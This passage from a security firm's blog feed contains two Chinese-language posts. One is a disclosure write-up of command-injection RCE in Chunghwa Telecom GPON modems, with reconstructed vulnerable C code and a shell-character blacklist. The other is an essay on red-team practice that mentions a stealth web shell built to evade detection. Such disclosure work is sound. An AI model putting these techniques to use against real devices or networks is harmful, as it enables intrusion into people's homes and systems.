上所分享的議題,講述如何從中華電信的一個設定疏失,到串出可以掌控數十萬、甚至數百萬台的家用數據機漏洞!</p> <p><br /></p> <h2 id="前言">前言</h2> <p>身為 DEVCORE 的研究團隊,我們的工作就是研究最新的攻擊趨勢、挖掘最新的弱點、找出可以影響整個世界的漏洞,回報給廠商避免這些漏洞流至地下黑市被黑帽駭客甚至國家級駭客組織利用,讓這個世界變得更加安全!</p> <p>把「漏洞研究」當成工作,一直以來是許多資訊安全技術狂熱份子的夢想,但大部分的人只看到發表漏洞、或站上研討會時的光鮮亮麗,沒注意到背後所下的苦工,事實上,「漏洞研究」往往是一個非常樸實無華,且枯燥的過程。</p> <p>漏洞挖掘並不像 <a href="https://ctf-wiki.github.io/ctf-wiki/">Capture the Flag (CTF)</a>,一定存在著漏洞以及一個正確的解法等著你去解出,在題目的限定範圍下,只要根據現有的條件、線索去推敲出題者的意圖,十之八九可以找出問題點。 雖然還是有那種清新、優質、難到靠北的比賽例如 <a href="https://ctf.hitcon.org/">HITCON CTF</a> 或是 <a href="https://plaidctf.com/">Plaid CTF</a>,不過 「找出漏洞」 與 「如何利用漏洞」在本質上已經是兩件不同的事情了!</p> <p>CTF 很適合有一定程度的人精進自己的能力,但缺點也是如果經常在限制住的小框框內,思路及眼界容易被侷限住,真實世界的攻防往往更複雜、維度也更大! 要在一個成熟、已使用多年,且全世界資安人員都在關注的產品上挖掘出新弱點,可想而知絕對不是簡單的事! 一場 CTF 競賽頂多也就 48 小時,但在無法知道目標是否有漏洞的前提下,你能堅持多久?</p> <p><a href="https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/">在我們上一個研究中</a>,發現了三個知名 SSL VPN 廠商中不用認證的遠端代碼執行漏洞,雖然成果豐碩,但也是花了整個研究組半年的時間(加上後續處理甚至可到一年),甚至在前兩個月完全是零產出、找不到漏洞下持續完成的。 所以對於一個好的漏洞研究人員,除了綜合能力、見識多寡以及能否深度挖掘外,還需要具備能夠獨立思考,以及興趣濃厚到耐得住寂寞等等特質,才有辦法在高難度的挑戰中殺出一條血路!</p> <p>漏洞研究往往不是一間公司賺錢的項目,卻又是無法不投資的部門,有多少公司能夠允許員工半年、甚至一年去做一件不一定有產出的研究? 更何況是將研究成果無條件的回報廠商只是為了讓世界更加安全? 這也就是我們 DEVCORE 不論在<a href="https://devco.re/services/penetration-test/">滲透測試</a>或是<a href="https://devco.re/services/red-team/">紅隊演練</a>上比別人來的優秀的緣故,除了平日軍火庫的累積外,當遇到漏洞時,也會想盡辦法將這個漏洞的危害最大化,利用駭客思維、透過各種不同組合利用,將一個低風險漏洞利用到極致,這也才符合真實世界駭客對你的攻擊方式!</p> <p><br /></p> <h2 id="影響範圍">影響範圍</h2> <p>故事回到今年初的某天,我們 DEVCORE 的情資中心監控到全台灣有大量的網路地址開著 3097 連接埠,而且有趣的是,這些地址並不是什麼伺服器的地址,而是普通的家用電腦。 一般來說,家用電腦透過數據機連接上網際網路,對外絕不會開放任何服務,就算是數據機的 SSH 及 HTTP 管理介面,也只有內部網路才能訪問到,因此我們懷疑這與 ISP 的配置失誤有關! 我們也成功的在這個連接埠上挖掘出一個不用認證的遠端代碼執行漏洞! 打個比喻,就是駭客已經睡在你家客廳沙發的感覺!</p> <p>透過這個漏洞我們可以完成:</p> <ol> <li>竊聽網路流量,竊取網路身分、PTT 密碼,甚至你的信用卡資料</li> <li>更新劫持、水坑式攻擊、內網中繼攻擊去控制你的電腦甚至個人手機</li> <li>結合紅隊演練去繞過各種開發者的白名單政策</li> <li>更多更多…</li> </ol> <p>而相關的 CVE 漏洞編號為:</p> <ul> <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13411">CVE-2019-13411</a></li> <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13412">CVE-2019-13412</a></li> <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15064">CVE-2019-15064</a></li> <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15065">CVE-2019-15065</a></li> <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15066">CVE-2019-15066</a></li> </ul> <p><br /></p> <p>相較於以往對家用數據機的攻擊,這次的影響是更嚴重的! 以往就算漏洞再嚴重,只要家用數據機對外不開放任何連接埠,攻擊者也無法利用,但這次的漏洞包含中華電信的配置失誤,導致你家的數據機在網路上裸奔,攻擊者僅僅 <strong>「只要知道你的 IP 便可不需任何條件,直接進入你家內網」</strong>,而且,由於沒有數據機的控制權,所以這個攻擊一般用戶是無法防禦及修補的!</p> <p><br /></p> <p>經過全網 IPv4 的掃瞄,全台灣約有 25 萬台的數據機存在此問題,<strong>「代表至少 25 萬個家庭受影響」</strong>,不過這個結果只在 <strong>「掃描當下有連上網路的數據機才被納入統計」</strong>,所以實際受害用戶一定大於這個數字!</p> <p>而透過網路地址的反查,有高達九成的受害用戶是中華電信的動態 IP,而剩下的一成則包含固定制 IP 及其他電信公司,至於為何會有其他電信公司呢? 我們的理解是中華電信作為台灣最大電信商,所持有的資源以及硬體設施也是其他電信商遠遠不及的,因此在一些比較偏僻的地段可能其他電信商到使用者的最後一哩路也還是中華電信的設備! 由於我們不是廠商,無法得知完整受影響的數據機型號列表,但筆者也是受害者 ╮(╯_╰)╭,所以可以確定最多人使用的<a href="https://broadband.hinet.net/rate.do">中華電信光世代 GPON 數據機</a> 也在受影響範圍內!</p> <p><img src="/assets/img/blog/20191111/1.png" alt="" /> (<a href="https://www.hungry.tw/2014/12/MiWifi.html">圖片擷自網路</a>)</p> <p><br /></p> <h2 id="漏洞挖掘">漏洞挖掘</h2> <p>只是一個配置失誤並不能說是什麼大問題,所以接下來我們希望能在這個服務上挖掘出更嚴重的漏洞! 軟體漏洞的挖掘,根據原始碼、執行檔以及 API 文件的有無可依序分為:</p> <ul> <li>黑箱測試</li> <li>灰箱測試</li> <li>白箱測試</li> </ul> <p>在什麼都沒有的的狀況下,只能依靠經驗以及對系統的了解去猜測每個指令背後的實作、並找出漏洞。</p> <h3 id="黑箱測試">黑箱測試</h3> <p>3097 連接埠提供了許多跟電信網路相關的指令,推測是中華電信給工程師遠端對數據機進行各種網路設定的除錯介面!</p> <p><img src="/assets/img/blog/20191111/2.png" alt="" /></p> <p><br /></p> <p>其中,可以透過 <code class="language-plaintext highlighter-rouge">HELP</code> 指令列出所有功能,其中我們發現了一個指令叫做 <code class="language-plaintext highlighter-rouge">MISC</code> ,看名字感覺就是把一堆不知道怎麼分類的指令歸類在這,而其中一個叫做 <code class="language-plaintext highlighter-rouge">SCRIPT</code> 吸引了我們! 它的參數為一個檔案名稱,執行後像是會把檔案當成 Shell Script 來執行,但在無法在遠端機器留下一個可控檔案的前提下,也無法透過這個指令取得任意代碼執行。 不過有趣的是,<code class="language-plaintext highlighter-rouge">MISC SCRIPT</code> 這個指令會將 <code class="language-plaintext highlighter-rouge">STDERR</code> 給顯示出來,因此可以透過這個特性去完成任意檔案讀取!</p> <p><br /></p> <h3 id="從黑箱進化成灰箱">從黑箱進化成灰箱</h3> <p>在漏洞的利用上,無論是記憶體的利用、或是網路的滲透,不外乎都圍繞著對目標的讀(Read)、 寫(Write) 以及代碼執行(eXecute) 三個權限的取得,現在我們取得了第一個讀的權限,接下來呢?</p> <p>除錯介面貌似跑在高權限使用者下,所以可以直接透過讀取系統密碼檔得到系統使用者管理登入的密碼雜湊!</p> <p><img src="/assets/img/blog/20191111/3.png" alt="" /></p> <p><br /></p> <p>透過對 <code class="language-plaintext highlighter-rouge">root</code> 使用者密碼雜湊的破解,我們成功的登入數據機 SSH 將「黑箱」轉化成「灰箱」! 雖然現在可以成功控制自己的數據機,但一般家用數據機對外是不會開放 SSH 服務的,為了達到可以「遠端」控制別人的數據機,我們還是得想辦法從 3097 這個服務拿到代碼的執行權限。</p> <p><img src="/assets/img/blog/20191111/4.png" alt="" /></p> <p><br /></p> <p>整個中華電信的數據機是一個跑在 MIPS 處理器架構上的嵌入式 Linux 系統,而 3097 服務則是由一個在 <code class="language-plaintext highlighter-rouge">/usr/bin/omcimain</code> 的二進位檔案來處理,整個檔案大小有將近 5MB,對逆向工程來說並不是一個小數目,但與黑箱測試相較之下,至少有了東西可以分析了真棒!</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ uname -a Linux I-040GW.cht.com.tw 2.6.30.9-5VT #1 PREEMPT Wed Jul 31 15:40:34 CST 2019 [luna SDK V1.8.0] rlx GNU/Linux $ netstat -anp | grep 3097 tcp 0 0 127.0.0.1:3097 0.0.0.0:* LISTEN $ ls -lh /usr/bin/omcimain -rwxr-xr-x 1 root root 4.6M Aug 1 13:40 /usr/bin/omcimain $ file /usr/bin/omcimain ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked </code></pre></div></div> <p><br /></p> <h3 id="從灰箱進化成白箱">從灰箱進化成白箱</h3> <p>現在,我們可以透過逆向工程了解每個指令背後的原理及實作了! 不過首先,逆向工程是一個痛苦且煩悶的經過,一個小小的程式可能就包含幾萬、甚至十幾萬行的組合語言代碼,因此這時挖洞的策略就變得很重要! 從功能面來看,感覺會存在命令注入相關的漏洞,因此先以功能實作為出發點開始挖掘!</p> <p>整個 3097 服務的處理核心其實就是一個多層的 IF-ELSE 選項,每一個小框框對應的一個功能的實作,例如 <code class="language-plaintext highlighter-rouge">cli_config_cmdline</code> 就是對應 <code class="language-plaintext highlighter-rouge">CONFIG</code> 這條指令,因此我們搭配著 <code class="language-plaintext highlighter-rouge">HELP</code> 指令的提示一一往每個功能實作挖掘!</p> <p><img src="/assets/img/blog/20191111/5.png" alt="" /></p> <p><br /></p> <p>研究了一段時間,並沒有發現到什麼嚴重漏洞 :( 不過我們注意到,當所有指命都匹配失敗時,會進入到了一個 <code class="language-plaintext highlighter-rouge">with_fallback</code> 的函數,這個函數的主要目的是把匹配失敗的指令接到 <code class="language-plaintext highlighter-rouge">/usr/bin/diag</code> 後繼續執行!</p> <p><img src="/assets/img/blog/20191111/6.png" alt="" /></p> <p><br /></p> <p><code class="language-plaintext highlighter-rouge">with_fallback</code> 大致邏輯如下,由於當時 Ghidra 尚未出現,所以這份原始碼是從閱讀 MIPS 組合語言慢慢還原回來的! 其中 <code class="language-plaintext highlighter-rouge">s1</code> 為輸入的指令,如果指令不在定義好的列表內以及指令中出現問號的話,就與 <code class="language-plaintext highlighter-rouge">/usr/bin/diag</code> 拼湊起來丟入 <code class="language-plaintext highlighter-rouge">system</code> 執行! 理所當然,為了防止命令注入等相關弱點,在丟入 <code class="language-plaintext highlighter-rouge">system</code> 前會先根據 <code class="language-plaintext highlighter-rouge">BLACKLISTS</code> 的列表檢查是否存在有害字元。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">char</span> <span class="o">*</span><span class="n">input</span> <span class="o">=</span> <span class="n">util_trim</span><span class="p">(</span><span class="n">s1</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\0'</span> <span class="o">||</span> <span class="n">input</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'#'</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="k">while</span> <span class="p">(</span><span class="n">SUB_COMMAND_LIST</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">sub_cmd</span> <span class="o">=</span> <span class="n">SUB_COMMAND_LIST</span><span class="p">[</span><span class="n">i</span><span class="o">++</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="n">strncmp</span><span class="p">(</span><span class="n">input</span><span class="p">,</span> <span class="n">sub_cmd</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">sub_cmd</span><span class="p">))</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">SUB_COMMAND_LIST</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">strchr</span><span class="p">(</span><span class="n">input</span><span class="p">,</span> <span class="sc">'?'</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">10</span><span class="p">;</span> <span class="c1">// ...</span> <span class="k">while</span> <span class="p">(</span><span class="n">BLACKLISTS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">strchr</span><span class="p">(</span><span class="n">input</span><span class="p">,</span> <span class="n">BLACKLISTS</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">util_fdprintf</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="s">"invalid char '%c' in command</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">BLACKLISTS</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="n">i</span><span class="o">++</span><span class="p">;</span> <span class="p">}</span> <span class="n">snprintf</span><span class="p">(</span><span class="n">file_buf</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="s">"/tmp/tmpfile.%d.%06ld"</span><span class="p">,</span> <span class="n">getpid</span><span class="p">(),</span> <span class="n">random</span><span class="p">()</span> <span class="o">%</span> <span class="mi">1000000</span><span class="p">);</span> <span class="n">snprintf</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">,</span> <span class="mi">1024</span><span class="p">,</span> <span class="s">"/usr/bin/diag %s &gt; %s 2&gt;/dev/null"</span><span class="p">,</span> <span class="n">input</span><span class="p">,</span> <span class="n">file_buf</span><span class="p">);</span> <span class="n">system</span><span class="p">(</span><span class="n">cmd_buf</span><span class="p">);</span> </code></pre></div></div> <p><br /></p> <p>而 <code class="language-plaintext highlighter-rouge">BLACKLISTS</code> 定義如下:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="o">*</span><span class="n">BLACKLISTS</span> <span class="o">=</span> <span class="s">"|&lt;&gt;(){}`;"</span><span class="p">;</span> </code></pre></div></div> <p>如果是你的話,能想到如何繞過嗎?</p> <p><br /> <br /> <br /> <br /> <br /></p> <p>答案很簡單,命令注入往往就是這麼的簡單且樸實無華!</p> <p><img src="/assets/img/blog/20191111/7.png" alt="" /></p> <p><br /></p> <p>這裡我們示範了如何從 PTT 知道受害者 IP 地址,到進入它數據機實現真正意義上的「指哪打哪」!</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/Pq00YUoBOsQ" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <p><br /><br /></p> <h2 id="後記">後記</h2> <p>故事到這邊差不多進入尾聲,整篇文章看似輕描淡寫,描述一個漏洞從發現到利用的整個經過,從結果論來說也許只是一個簡單的命令注入,但實際上中間所花的時間、走過的歪路是正在讀文章的你無法想像的,就像是在黑暗中走迷宮,在沒有走出迷宮前永遠不會知道自己正在走的這條路是不是通往目的正確道路!</p> <p>挖掘出新的漏洞,並不是一件容易的事,尤其是在各式攻擊手法又已趨於成熟的今天,要想出全新的攻擊手法更是難上加難! 在漏洞研究的領域上,台灣尚未擁有足夠的能量,如果平常的挑戰已經滿足不了你,想體驗真實世界的攻防,歡迎加入與我們一起交流蕉流 :D</p> <p><br /></p> <h2 id="通報時程">通報時程</h2> <ul> <li>2019 年 07 月 28 日 - 透過 TWCERT/CC 回報中華電信</li> <li>2019 年 08 月 14 日 - 廠商回覆清查並修補設備中</li> <li>2019 年 08 月 27 日 - 廠商回覆九月初修補完畢</li> <li>2019 年 08 月 30 日 - 廠商回覆已完成受影響設備的韌體更新</li> <li>2019 年 09 月 11 日 - 廠商回覆部分用戶需派員更新, 延後公開時間</li> <li>2019 年 09 月 23 日 - 與 TWCERT/CC 確認可公開</li> <li>2019 年 09 月 25 日 - 發表至 DEVCORE CONFERENCE 2019</li> <li>2019 年 11 月 11 日 - 部落格文章釋出</li> </ul> https://devco.re/blog/2019/11/11/HiNet-GPON-Modem-RCE/ https://devco.re/blog/2019/11/11/HiNet-GPON-Modem-RCE Mon, 11 Nov 2019 00:00:00 +0800 DEVCORE 紅隊的進化,與下一步 <h2 id="前言">前言</h2> <p>「紅隊演練」近年來漸漸開始被大家提及,也開始有一些廠商推出紅隊服務。不過關於在台灣紅隊是怎麼做的就比較少人公開分享,身為第一個在台灣推紅隊演練的公司,我想就根據這兩年多來的實戰經驗,分享為什麼我們要做紅隊、我們面臨到的問題、以及在我們心中認為紅隊成員應該具備的特質。最後再分享我們現階段看到的企業資安問題,期望未來我們也可以透過紅隊演練來幫助企業補足那些問題。</p> <p>這一篇是我在 <a href="https://devco.re/conf/2019/">DEVCORE CONFERENCE 2019</a> 所分享的主題。研討會事前調查想聽內容時有些朋友希望我們能介紹 DEVCORE 的紅隊,還有運作方式和案例,所以我抽出一些素材整理成這場演講。下面是投影片連結,其中有些內部系統畫面不對外公開,僅在研討會分享敬請見諒。</p> <p><a href="/conf/2019/slides/devcore-conf-2019-shaolin-DEVCORE%20%E7%B4%85%E9%9A%8A%E7%9A%84%E9%80%B2%E5%8C%96%EF%BC%8C%E8%88%87%E4%B8%8B%E4%B8%80%E6%AD%A5.pdf">DEVCORE 紅隊的進化,與下一步 - Shaolin (DEVCORE CONF 2019)</a></p> <h2 id="為什麼要紅隊演練">為什麼要紅隊演練?</h2> <p>一言以蔽之,就是我們漸漸體會到:<strong>對大企業而言,單純的滲透測試並不是最有效益的</strong>。從過去上百次滲透測試經驗中,我們往往能在專案初期的偵查階段,發現企業邊界存在嚴重弱點,進而進入內網繞過層層防禦攻擊主要目標。越是龐大的企業,這種狀況會越明顯,因為他們通常有很多對外的網站、網路設備,每一個都可能是風險,即使主要網站防護很完備,駭客只需要從這麼多目標中找到一個問題,就可以對企業造成傷害。今天就算企業對每個服務都獨立做了一次滲透測試,在真實世界中,還是有可能從第三方服務、廠商供應鏈、社交工程等途徑入侵。所以有可能投注很多資源做測試,結果還是發生資安事件。</p> <p>於是,我們推出了紅隊演練,希望透過真實的演練幫助企業找到整體架構中脆弱的地方。因此,這個服務關注的是<strong>企業整體的安全性</strong>,而不再只是單一的網站。</p> <p>紅隊演練目標通常是一個情境,例如:駭客有沒有辦法取得民眾個資甚至是信用卡卡號?在演練過程中紅隊會無所不用其極的嘗試驗證企業在乎的情境有沒有可能發生。以剛剛的例子來說,我們會想辦法找到一條路徑取得存放這些訊息的資料庫,去驗證有沒有辦法取得個資及卡號。一般來說,卡號部分都會經過加密,因此在拿下資料庫後我們也會嘗試看看有沒有辦法還原這些卡號。有時候除了找到還原的方法,我們甚至會在過程中發現其他路徑可取得卡號,可能是工程師的 debug 資訊會記錄卡號,或是備份檔在 NAS 裡面有完整卡號,這些可能是連資安負責人都不知道的資訊,也是企業評估風險的盲點。</p> <p>到這邊,紅隊演練的效益就很明顯了,紅隊能協助企業全盤評估潛在的重大風險,不再像過去只是單一面向的測試特定網站。除了找到弱點,紅隊更在乎幫企業<strong>驗證入侵的可行性</strong>,方便企業評估風險以及擬定防禦策略。最後,紅隊往往也能夠在演練過程當中<strong>找出企業風險評估忽略的地方</strong>,例如剛剛例子提到的備份 NAS,就可能是沒有列入核心系統但又相當重要的伺服器,這一塊也是 DEVCORE 這幾年來確實幫助到客戶的地方。</p> <h2 id="devcore-紅隊的編制">DEVCORE 紅隊的編制</h2> <p>基本上,DEVCORE 的紅隊成員都是可以獨當一面的,在執行一般專案時成員間並沒有顯著差異。但在演練範圍比較大的狀況下,就會開始有明顯的分工作業,各組也會專精技能增加團隊效率。目前我們的編制共分為五組:</p> <p><img src="/assets/img/blog/20191024/1.png" alt="" /></p> <p>簡單介紹職責如下:</p> <ul> <li>Intelligence (偵查),負責情報偵查,他們會去收集跟目標有關的所有資訊,包括 IP 網段、網站個別使用的技術,甚至是洩漏的帳號密碼。</li> <li>Special Force (特攻),有比較強大的攻擊能力,主要負責打破現況,例如攻下第一個據點、拿下另一個網段、或是主機的提權。</li> <li>Regular Army (常規),負責拿下據點後掃蕩整個戰場,嘗試橫向移動,會盡量多建立幾個據點讓特攻組有更多資源朝任務目標邁進。</li> <li>Support (支援),重要的後勤工作,維持據點的可用性,同時也要觀察記錄整個戰況,最清楚全局戰況。</li> <li>Research (研究),平時研究各種在紅隊中會用到的技術,演練時期碰到具戰略價值的系統,會投入資源開採 0-day。</li> </ul> <h2 id="devcore-紅隊的進化">DEVCORE 紅隊的進化</h2> <p>所謂的進化,就是碰到了問題,想辦法強化並且解決,那我們遇到了哪些問題呢?</p> <h3 id="如何找到一個突破點">如何找到一個突破點?</h3> <p>這是大家最常碰到的問題,萬事起頭難,怎麼樣找到第一個突破點?這個問題在紅隊演練當中難度會更高,因為有規模的企業早已投入資源在資安檢測和防護上,我們要怎麼樣從層層防禦當中找到弱點?要能找到別人找不到的弱點,測試思維和方法一定要跟別人不一樣。於是,我們投入資源在偵查、特攻、研究組:偵查部分研究了不同的偵查方法和來源,並且開發自己的工具讓偵查更有效率;我們的特攻組也不斷強化自己的攻擊能力;最重要的,我們讓研究人員開始針對我們常碰到的目標進行研究,開發紅隊會用到的工具或技巧。</p> <p>這邊特別想要分享研究組的成果,因為我們會去開採一些基礎設施的 0-day,在負責任的揭露後,會將 1-day 用於演練中,這種模式對國外紅隊來說算是相當少見。為了能幫助到紅隊,研究組平時的研究方向,通常都是找企業外網可以碰到的通用服務,例如郵件伺服器、Jenkins、SSL VPN。我們找的弱點都是以不用認證、可取得伺服器控制權為優先,目前已公開的有:<a href="https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/">Exim</a>、<a href="https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/">Jenkins</a>、<a href="https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/">Palo Alto GlobalProtect</a>、<a href="https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/">FortiGate</a>、<a href="https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/">Pulse Secure</a>。這些成果在演練當中都有非常非常高的戰略價值,甚至可以說掌控了這些伺服器幾乎就能間接控制企業的大半。</p> <p>而這些研究成果,也意外的被國外所注意到:</p> <ul> <li>PortSwigger 連續兩年年度十大網站攻擊技術評選冠軍 (<a href="https://portswigger.net/blog/top-10-web-hacking-techniques-of-2017">2017</a>, <a href="https://portswigger.net/blog/top-10-web-hacking-techniques-of-2018">2018</a>)</li> <li>連續三年 DEFCON &amp; Black Hat USA 發表 (<a href="https://www.blackhat.com/us-17/briefings.html#a-new-era-of-ssrf-exploiting-url-parser-in-trending-programming-languages">2017</a>, <a href="https://www.blackhat.com/us-18/briefings/schedule/index.html#breaking-parser-logic-take-your-path-normalization-off-and-pop-days-out-10346">2018</a>, <a href="https://www.blackhat.com/us-19/briefings/schedule/index.html#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545">2019</a>)</li> <li>台灣第一個拿到 PWNIE AWARD 獎項:Pwnie for Best Server-Side Bug (年度最佳伺服器漏洞) (<a href="https://pwnies.com/archive/2018/nominations/">2018 入圍</a>, <a href="https://pwnies.com/winners/">2019 得獎</a>)</li> </ul> <h3 id="目標上萬台如何發揮紅隊效益">目標上萬台,如何發揮紅「隊」效益?</h3> <p>前面靠了偵查、特攻、研究組的成果取得了進入點。下一個問題,是在我們過去的經驗中,有過多次演練的範圍是上萬台電腦,我們要怎樣做才能發揮團隊作戰的效益呢?會有這個問題是因為<strong>數量級</strong>,如果範圍只有十個網站很容易找目標,但是當網站變多的時候,就很難標註討論我們要攻擊的目標。或是當大家要同步進度的時候,每個人的進度都很多,很難有個地方分享伺服器資訊,讓其他人能接續任務。</p> <p>過去我們使用類似 Trello 的系統記錄每台伺服器的狀況,在範圍較小的時候很方便好用,但是當資料量一大就會顯得很難操作。</p> <p><img src="/assets/img/blog/20191024/2.png" alt="" /></p> <p>因此,我們自行開發了系統去解決相關問題。分享一些我們設計系統的必要原則供大家參考:</p> <ul> <li>伺服器列表可標籤、排序、全文搜尋,火力集中的伺服器必須要自動在顯眼處,省去額外搜尋時間。</li> <li>要可自動建立主機關係圖,方便團隊討論戰況。</li> <li>儲存結構化資訊而非過去的純字串,例如這台機器開的服務資訊、拿 shell 的方式、已滲透的帳號密碼。方便快速釐清目前進度以及事後分析。</li> <li>建立 shell 主控台,方便成員一鍵取得 shell 操作。</li> </ul> <p>另外還有一個問題,紅隊成員這麼多,戰場又分散,如果想要把我們做過的測試過程記錄下來,不是會很複雜嗎?所以我們另外寫了 plugin 記錄 web 的攻擊流量、以及記錄我們在 shell 下過的指令和伺服器回傳的結果,這些記錄甚至比客戶的 access_log 和 bash_history 還詳細。此外,針對每個目標伺服器,我們也會特別記錄在上面所做過的重要行為,例如:改了什麼設定,新增或刪除了什麼檔案,方便我們還有客戶追蹤。要做這樣的客製化記錄其實是很繁瑣的,對那些習慣於自動化解決事情的駭客更是,但我們就是堅持做好這樣的紀錄,即使客戶沒有要求,我們還是會詳實記錄每個步驟,以備不時之需。</p> <p><img src="/assets/img/blog/20191024/3.png" alt="" /></p> <h3 id="企業有防禦設備或機制">企業有防禦設備或機制?</h3> <p>解決了突破點和多人合作的問題,接下來我們面臨到第三個問題,企業有防護措施!在研討會中我舉了幾個較客製的真實防禦案例,說明我們除了常見的防禦設備外也擁有很多跟防禦機制交手的經驗。我們會研究每種防禦的特性加以繞過或利用,甚至會寫工具去躲避偵測,最近比較經典的是團隊做了在 Windows 伺服器上的 Web shell,它可以做到 WAF 抓不到,防毒軟體抓不到,也不會有 eventlog 記錄,利用這個工具可以無聲無息收集伺服器上我們需要的資料。當然,我們不是無敵的,一些較底層的偵測機制還是會無法繞過。這邊我直接講我們進化到目前的準則:在面對伺服器防禦機制,我們能隱匿的,一定做到絕對的隱匿,無法躲的,就把流程最佳化,縮短做事情的時間,例如控制在五分鐘內提權拿到關鍵資料,就算被別人抓到也沒關係,因為該拿的資料也拿到了。</p> <h2 id="紅隊成員應具備的特質">紅隊成員應具備的特質</h2> <p>要能夠在紅隊演練中有突出成果,我覺得成員特質是滿關鍵的一個點。以下整理了幾個我從我們紅隊夥伴觀察到的特質跟大家分享,如果將來有打算從事紅隊工作,或是企業已經打算開始成立內部紅隊,這些特質可能可以作為一些參考。</p> <h3 id="想像力">想像力</h3> <p>第一個是想像力,為什麼會提這個特質,因為現在資安意識慢慢強化,要靠一招打天下是不太有機會的,尤其是紅隊演練這麼有變化的工作。要有成果一定要巧妙的組合利用或是繞過才有機會。</p> <p>直接舉個例子,我們在公布 Pulse Secure VPN 的<a href="https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/">研究細節</a>後,有人在 twitter 上<a href="https://twitter.com/_trou_/status/1168529031177867267">表示</a>那個關鍵用來 RCE 的 argument injection 點之前他有找到,只是無法利用所以官方也沒有修。確實我們找到的地方相同,不過我們靠想像力找到了一個可利用參數並搭配 Perl 的特性串出了 RCE。 另一個例子是 <a href="https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/">Jenkins 研究</a>裡面的一環,我們在繞過身分認證之後發現有一個功能是在檢查使用者輸入的程式語法正不正確。伺服器怎樣去判斷語法正不正確?最簡單的方法就是直接去編譯看看,可以編譯成功就代表語法正確。所以我們研究了可以在『編譯階段』命令執行的方法,讓伺服器在嘗試判斷語法是否正確的同時執行我們的指令。這個手法過去沒有人提過,算是運用想像力的一個經典案例。</p> <p>關於想像力,其實還有一個隱藏的前提:基礎功要夠。我一直認為想像力是知識的排列組合,例如剛剛的兩個例子,如果不知道 Perl 語法特性和 Meta-Programming 的知識,再怎麼天馬行空都是不可能成功 RCE 的。有基礎功再加上勇於聯想和嘗試,絕對是一個紅隊大將的必備特質。至於基礎功需要到什麼程度,對我們來說,講到一個漏洞,心中就會同時跳出一個樹狀圖:出現成因是什麼?相關的案例、漏洞、繞過方式都會啵啵啵跳出來,能做到這樣我想就已經是有所小成了。</p> <h3 id="追新技術">追新技術</h3> <p>會追新技術這件事情,似乎是資安圈的標配,我們的世界不只有 OWASP TOP 10。更現實的說法是,如果只靠這麼一點知識,在紅隊演練能發揮的效果其實並不大。分享一下我看到成員們的樣子,對於他們來說,看新技術是每天的習慣,如果有資安研討會投影片釋出,會追。新技術裡有興趣的,會動手玩,甚至寫成工具,我們很多內部工具都是這樣默默補強的。還有一點,看新技術最終目的就是要活用,拿新技術解決舊問題,往往有機會發現一些突破方式。例如我們在今年八月 BlackHat 研討會看到了 <a href="https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn">HTTP Desync</a> 